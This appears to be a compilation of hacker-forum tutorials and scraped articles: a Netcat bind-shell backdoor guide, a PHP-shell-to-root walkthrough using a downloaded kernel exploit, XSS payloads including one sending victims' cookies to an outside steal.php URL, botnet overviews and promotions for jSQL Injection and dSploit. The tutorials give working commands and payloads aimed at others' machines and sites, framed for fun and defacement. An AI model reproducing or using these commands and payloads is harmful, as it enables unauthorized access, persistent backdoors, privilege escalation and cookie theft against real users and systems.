Backdoor via Netcat

Most of you are probably asking what is NetCat? To make it simple, 

NetCat/NC makes and accepts Transmission Control Protocol (TCP) 

and User Datagram Protocol (UDP) connections. Literally that's it lol

This is for the newbees who dont know what NC is and want to 

know how to backdoor using this software.


How to make a persistent backdoor with NetCat

This is the overview of what we are going to be doing. The fist thing 

we want to do is put nc.exe, which is the executable file, in 

system32. Then After that we are going to head to CMD and make a 

persistent listener. 

1. Downlaod NC
http://www.downloadnetcat.com/

2. Place NC.exe in system32

3. Go to CMD and type this Command Line.



Code:
nc -v -L -p 80 -e cmd.exe


Let me explain the code, -v is verbose, -L is to make it Listen which 

is different from -l because if you would have put -l parameters 

instead of -L parameters, once you close the CMD window, the NC 

session will be closed as well. -p is the port you want to listen to. -e 

is the executable program you want to launch once the connection is 

established, in our case, command prompt.

Now you can close the window and still have NC listening on port 

80. Now that you have backdoored the remote machine with it, its 

time to connect to it.

On the attacking machine, go to CMD and type this command line:



Code:
nc -v [IpOfTargetMachine] 80


Once you hit enter, you will have CMD access to the remote computer!

  

credit to connhen4mat

Botnets

---

A botnet or robot network is a group of computers running a computer application controlled and manipulated only by the owner or the software source. The botnet may refer to a legitimate network of several computers that share program processing amongst them.

Usually though, when people talk about botnets, they are talking about a group of computers infected with the malicious kind of robot software, the bots, which present a security threat to the computer owner. Once the robot software (also known as malicious software or malware) has been successfully installed in a computer, this computer becomes a zombie or a drone, unable to resist the commands of the bot commander.

A botnet may be small or large depending on the complexity and sophistication of the bots used. A large botnet may be composed of ten thousand individual zombies. A small botnet, on the other hand may be composed of only a thousand drones. Usually, the owners of the zombie computers do not know that their computers and their computers’ resources are being remotely controlled and exploited by an individual or a group of malware runners through Internet Relay Chat (IRC)

There are various types of malicious bots that have already infected and are continuing to infect the internet. Some bots have their own spreaders – the script that lets them infect other computers (this is the reason why some people dub botnets as computer viruses) – while some smaller types of bots do not have such capabilities.

Different Types of Bots

Here is a list of the most used bots in the internet today, their features and command set.

XtremBot, Agobot, Forbot, Phatbot

These are currently the best known bots with more than 500 versions in the internet today. The bot is written using C++ with cross platform capabilities as a compiler and GPL as the source code. These bots can range from the fairly simple to highly abstract module-based designs. Because of its modular approach, adding commands or scanners to increase its efficiency in taking advantage of vulnerabilities is fairly easy. It can use libpcap packet sniffing library, NTFS ADS and PCRE. Agobot is quite distinct in that it is the only bot that makes use of other control protocols besides IRC.

UrXBot, SDBot, UrBot and RBot

Like the previous type of bot, these bots are published under GPL, but unlike the above mentioned bots these bots are less abstract in design and written in rudimentary C compiler language. Although its implementation is less varied and its design less sohisticated, these type of bots are well known and widely used in the internet.

GT-Bots and mIRC based bots
These bots have many versions in the internet mainly because mIRC is one of the most used IRC client for windows. GT stands for global threat and is the common name for bots scripted using mIRC. GT-bots make use of the mIRC chat client to launch a set of binaries (mainly DLLs) and scripts; their scripts often have the file extensions .mrc.
Malicious Uses of Botnets

Types Of Botnet Attack

Denial of Service Attacks
A botnet can be used as a distributed denial of service weapon. A botnet attacks a network or a computer system for the purpose of disrupting service through the loss of connectivity or consumption of the victim network’s bandwidth and overloading of the resources of the victim’s computer system. Botnet attacks are also used to damage or take down a competitor’s website.

Fast flux is a DNS technique used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies.
Any Internet service can be a target by botnets. This can be done through flooding the website with recursive HTTP or bulletin-board search queries. This mode of attack in which higher level protocols are utilized to increase the effects of an attack is also termed as spidering.

Spyware Its a software which sends information to its creators about a user's activities – typically passwords, credit card numbers and other information that can be sold on the black market. Compromised machines that are located within a corporate network can be worth more to the bot herder, as they can often gain access to confidential information held within that company. There have been several targeted attacks on large corporations with the aim of stealing sensitive information, one such example is the Aurora botnet.

AdwareIts exists to advertise some commercial entity actively and without the user's permission or awareness, for example by replacing banner ads on web pages with those of another content provider.

Spamming and Traffic Monitoring
A botnet can also be used to take advantage of an infected computer’s TCP/IP’s SOCKS proxy protocol for networking appications. After compromising a computer, the botnet commander can use the infected unit (a zombie) in conjunction with other zombies in his botnet (robot network) to harvest email addresses or to send massive amounts of spam or phishing mails.

Moreover, a bot can also function as a packet sniffer to find and intercept sensitive data passing through an infected machine. Typical data that these bots look out for are usernames and passwords which the botnet commander can use for his personal gain. Data about a competitor botnet installed in the same unit is also mined so the botnet commander can hijack this other botnet.

Access number replacements are where the botnet operator replaces the access numbers of a group of dial-up bots to that of a victim's phone number. Given enough bots partake in this attack, the victim is consistently bombarded with phone calls attempting to connect to the internet. Having very little to defend against this attack, most are forced into changing their phone numbers (land line, cell phone, etc.).

Keylogging and Mass Identity Theft
An encryption software within the victims’ units can deter most bots from harvesting any real information. Unfortunately, some bots have adapted to this by installing a keylogger program in the infected machines. With a keylogger program, the bot owner can use a filtering program to gather only the key sequence typed before or after interesting keywords like PayPal or Yahoo mail. This is one of the reasons behind the massive PayPal accounts theft for the past several years.

Bots can also be used as agents for mass identity theft. It does this through phishing or pretending to be a legitimate company in order to convince the user to submit personal information and passwords. A link in these phishing mails can also lead to fake PayPal, eBay or other websites to trick the user into typing in the username and password.

Botnet Spread
Botnets can also be used to spread other botnets in the network. It does this by convincing the user to download after which the program is executed through FTP, HTTP or email.

Pay-Per-Click Systems Abuse
Botnets can be used for financial gain by automating clicks on a pay-per-click system. Compromised units can be used to click automatically on a site upon activation of a browser. For this reason, botnets are also used to earn money from Google’s Adsense and other affiliate programs by using zombies to artificially increase the click counter of an advertisement.  

source : http://www.hackersonlineclub.com/

Rooting Tutorial

What we need?
-RFI Vulnerable Script
-PHP Shell
-Netcat
-Brains

First of all, we need to get a shell on a site.
For this tutorial i will be using MulCi Shell.

So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.

Now, go to the 'Back Connect' tab and insert the following settings:

1- Your IP Address.
2-The port you forwarded.

Now, go on CMD and type in:cd 'Path To Your Netcat.exe' and then you need to make netcat listen to the port you forwarded.To do this, type:nc -l -n -v -p port

It looked like this for me:

Microsoft Windows XP [Version 5.1.2600]
Copyright 1985-2001 Microsoft Corp.

C:\KroKite>cd C:\

C:\>cd WINDOWS

C:\WINDOWS>nc -l -n -v -p 4444
listening on [any] 4444 ...

Now, when you have netcat listening to the port you forwarded, click 'Connect'.

When your connected, type 'whoami'.You shouldnt have root.

Now, to find an exploit to root the box, you need to know whats the kernel version.To do this, just type 'uname -a'.

It should look something like this:

Code:

Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 0805 EDT 2008 i686

Now, we go on exploit-db.com and we will look for '2.6.17'.

Code:

hhttp://www.exploit-db.com/exploits/5092/

Now, we type 'wget http://www.exploit-db.com/exploits/5092/ on the netcat window.

Code:

wget http://xpl_url.com

So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).

To do this we type 'gcc 5092 -o exploit'.

Code:

gcc 5092 -o exploit

5092- After the url path.http://www.site.com/5092.
exploit- Output name.


Now you can execute your exploit by typing './exploit'

Wait for the exploit to finish running and type root again.

It should output in something like this:

Code:

uid=0(root) gid=0(root) groups=500(apache)

This means you have successfully rooted the box .

credit to KroKite 

Basics of XSS injection [Beginner Tutorial]

What is Cross Site Scripting:

XSS Stands for Cross Site Scripting, xss is a vulnerability that is normal found
in a web app. XSS allows the user to inject malicious codes such as HTML and
Java script. XSS can be used to steal cookies, make phishing pages and
just having some fun with the website.


What is A cookie:

A cookie is a text-only string that gets entered into the memory of your browser.
This value of a variable that a website sets. If the lifetime of this value is set
to be longer than the time you spend at that site, then this string
is saved to file for future reference.


What can XSS do:

Cross Site Scripting is used commonly now days in the cyber
world. XSS can take down most websites that are up to date,
Cross Site Scripting can steal cookies from websites/forums.
Make pop ups, appear were there not suppose to "search bars"
etc. Or you can even do some very malicious codes such as
redirect the website to another one.


Hacking forums/guest books with XSS:

Forum Hacking: Now in order to defaced or even attempt
to hack a forum. The forum must have HTML enabled, so you can
enter some malicious codes. If the forum does have HTML enabled
then you can enter codes such as;


Code:
<html>
<head><title>XSS tut by war10rd for AHian </title></head>
<body>
<img src="javascript:alert('Defaced By: ')">
</body>
</html>

If the forum allows the imagen tags then you can use this tag to
steal peoples cookies.

Code:
<img src="javascript:window.location=&amp;#39;http://www.url.com/steal.php?account=&amp;#39;+document.cookie&quot;>


Now to get to guest book hacking when your posting on the guest book
it must also be vulnerable. Meaning html must be enabled, to see if html
is enabled put these tags in your post <B>hello world</B> and if your
text comes back bold. Then html is enabled now try doing other techniques
you can also put some java script inside the html and see if that works.
And if it does or if it doesn't you can still deface the guest book with writing
up some cool html codes that take up the whole guest book page.


Defacing Websites with Cross Site Scripting:

Till now you AHian know Cross Site Scripting is used alot now days to exploit
websites and forums.Mostly search functions etc. Now some of the common XSS'es now days are within the search bars for websites. To make a box pop
up saying what every you put in the script. Some XSS codes are;


Code:
<script>alert("1337`")</script> <BODY ONLOAD=alert(document.cookie)>"><script>alert(1337`);</script> <script>window.document.write("<input type='file'>");</script> <a rel='nofollow' href='search?searchterm=<b>war10rd made you click on link</b>'>war10rd`</a>


Now how can I deface a website with just making 1 little pop up on
the search bar page? You can redirect the site to your website or your friends or you can steel cookies. Make a html defacement page and put the whole code
in your script. You can do many things, with java script on a vulnerable
website.

Credits@!eKO

Botnet Detail

Botnet

In malware, a Botnet is a collection of infected computers or bots that have been taken over by hackers (also known as bot herders) and are used to perform malicious tasks or functions. A computer becomes a bot when it downloads a file (e.g., an email attachment) that has bot software embedded in it. A Botnet is considered a Botnet if it is taking action on the client itself via IRC channels without the hackers having to log in to the client's computer. A Botnet consists of many threats contained in one. The typical Botnet consists of a bot server (usually an IRC server) and one or more botclients

Formation and exploitation

This example illustrates how a Botnet is created and used to send email spam.

1. A Botnet operator sends out viruses or worms, infecting ordinary users' computers, whose payload is a malicious application—the bot.
2. The bot on the infected PC logs into a particular C&C server (often an IRC server, but, in some cases a web server).
3. A spammer purchases the services of the Botnet from the operator.
4. The spammer provides the spam messages to the operator, who instructs the compromised machines via the IRC server, causing them to send out spam messages.

Botnets are exploited for various purposes, including denial-of-service attacks, creation or misuse of SMTP mail relays for spam (see Spambot), click fraud, spamdexing and the theft of application serial numbers, login IDs, and financial information such as credit card numbers.

The Botnet controller community features a constant and continuous struggle over who has the most bots, the highest overall bandwidth, and the most "high-quality" infected machines, like university, corporate, and even government machines.

Types of attacks

* Denial-of-service attacks where multiple systems autonomously access a single Internet system or service in a way that appears legitimate, but much more frequently than normal use and cause the system to become busy.

* Adware exists to advertise some commercial entity actively and without the user's permission or awareness, for example by replacing banner ads on web pages with those of another content provider.

* Spyware is software which sends information to its creators about a user's activities – typically passwords, credit card numbers and other information that can be sold on the black market. Compromised machines that are located within a corporate network can be worth more to the bot herder, as they can often gain access to confidential information held within that company. There have been several targeted attacks on large corporations with the aim of stealing sensitive information, one such example is the Aurora Botnet.

* E-mail spam are e-mail messages disguised as messages from people, but are either advertising, annoying, or malicious in nature.

* Click fraud is the user's computer visiting websites without the user's awareness to create false web traffic for the purpose of personal or commercial gain.

* Access number replacements are where the Botnet operator replaces the access numbers of a group of dial-up bots to that of a Slave's phone number. Given enough bots partake in this attack, the Slave is consistently bombarded with phone calls attempting to connect to the internet. Having very little to defend against this attack, most are forced into changing their phone numbers (land line, cell phone, etc.).

* Fast flux is a DNS technique used by Botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies.

Preventive measures

If a machine receives a denial-of-service attack from a Botnet, few choices exist. Given the general geographic dispersal of Botnets, it becomes difficult to identify a pattern of offending machines, and the sheer volume of IP addresses does not lend itself to the filtering of individual cases. Passive OS fingerprinting can identify attacks originating from aBotnet: network administrators can configure newer firewall equipment to take action on a Botnet attack by using information obtained from passive OS fingerprinting. The most serious preventive measures utilize rate-based intrusion prevention systems implemented with specialized hardware. A network based intrusion detection system (NIDS) will be an effective approach when detecting any activities approaching Botnet attacks. NIDS monitors a network, it sees protected hosts in terms of the external interfaces to the rest of the network, rather than as a single system, and get most of its results by network packet analysis.

Some Botnets use free DNS hosting services such as DynDns.org, No-IP.com, and Afraid.org to point a subdomain towards an IRC server that will harbor the bots. While these free DNS services do not themselves host attacks, they provide reference points (often hard-coded into the Botnet executable). Removing such services can cripple an entire Botnet. Recently, these companies have undertaken efforts to purge their domains of these subdomains. The Botnet community refers to such efforts as "nullrouting", because the DNS hosting services usually re-direct the offending subdomains to an inaccessible IP address. Similarly, some Botnets implement custom versions of well-known protocols. The implementation differences can be used for fingerprint-based detection of Botnets. For example, Mega-D features a slightly modified SMTP protocol implementation for testing the spam capability. Bringing down the Mega-D's SMTP server disables the entire pool of bots that rely upon the same SMTP server.

Several security companies such as Afferent Security Labs, Symantec, Trend Micro, FireEye, Umbra Data and Damballa have announced offerings to stop Botnets. While some, like Norton AntiBot (discontinued), are aimed at consumers, most are aimed to protect enterprises and/or ISPs. The host-based techniques use heuristics to try to identify bot behavior that has bypassed conventional anti-virus software. Network-based approaches tend to use the techniques described above; shutting down C&C servers, nullrouting DNS entries, or completely shutting down IRC servers.

Newer Botnets are almost entirely P2P, with command-and-control embedded into the Botnet itself. By being dynamically updateable and variable they can evade having any single point of failure. Commanders can be identified solely through secure keys and all data except the binary itself can be encrypted. For example a spyware program may encrypt all suspected passwords with a public key hard coded or distributed into the bot software. Only with the private key, which only the commander has, can the data that the bot has captured be read.

Newer Botnets have even been capable of detecting and reacting to attempts to figure out how they work. A large Botnet that can detect that it is being studied can even DDoS those studying it off the internet.

Few Description about Zombie Computer.

Zombie Computer :- A Zombie Computer (often shortened as Zombie) is a computer connected to the Internet that has been compromised by a cracker, computer virus or trojan horse and can be used to perform malicious tasks of one sort or another under remote direction. Botnet of Zombie Computers are often used to spread e-mail spam and launch denial-of-service attacks. Most owners of zombie computers are unaware that their system is being used in this way. Because the owner tends to be unaware, these computers are metaphorically compared to Zombie.  

source : http://www.worldofhacker.com/

jSQL Injection v 2.0 released

jSQL Injection An easy to use SQL injection tool for retrieving database informations from a distant server. 

jSQL Injection fonctionalities are:

• GET, POST, header, cookie methods
• visual, errorbase, blind algorithms
• automatic best algorithms detection
• data retrieving progression
• proxy setting
• For now supports only MySQL.

Running injection requires only the distant server url and the name of parameter you should inject.

Download jSQL Injection v 2.0   

source : http://toolsyard.thehackernews.com/

dSploit v1.0.23b -- Android network penetration suite

Have you ever wanted to dabble in network security testing? dSploit is an Android based network analysis & penetration suite. It is a comprehensive toolchain which can be used by anyone in order to perform a number of advanced network analysis and Pentests. dSploit contains a number of powerful functions for IT security experts/geeks, but is easy enough for just about any one to perform exploits.

dSploit allows you to analyze, capture, and manipulate network packets. You can scan networks for connected devices like other smartphones, laptops, & identify the operating system, running services and open ports on each device. Once open ports are known, you can go further by checking open ports for vulnerabilities. These features together make dSploit the most complete and advanced professional toolkit to perform network security assesments on any mobile device, ever.

Other than analysis, dSploit even allows man in the middle attacks for a number of network protocols i.e. you can monitor and inject packets into the network and spoof your identity. In simpler words, it allows you to intercept wireless network traffic and mess it with in the way you want. You can poison the DNS, for example, so that your family members go to Google+ everytime they try open facebook, or replace all the images with a custom PWNed/funny image. The ideas are what limit you, possibilities of fun are endless.

Available Modules in dSploit :

• RouterPWN
• Launch the http://routerpwn.com/ service to pwn your router.
• Port Scanner
• A syn port scanner to find quickly open ports on a single target.
• Inspector
• Performs target operating system and services deep detection, slower than syn port scanner but more accurate.
• Vulnerability Finder
• Search for known vulnerabilities for target running services upon National Vulnerability Database.
• Login Cracker
• A very fast network logon cracker which supports many different services.
• Packet Forger
• Craft and send a custom TCP or UDP packet to the target.
• MITM
• A set of man-in-the-middle tools to command&conquer the whole network .

The app is currently in beta, so there may be bugs present. However, a large number of users are reporting good feedback in the thread. You need to be running at least Android 2.3 Gingerbread, and the device must be rooted.

Download dSploit   

source : http://toolsyard.thehackernews.com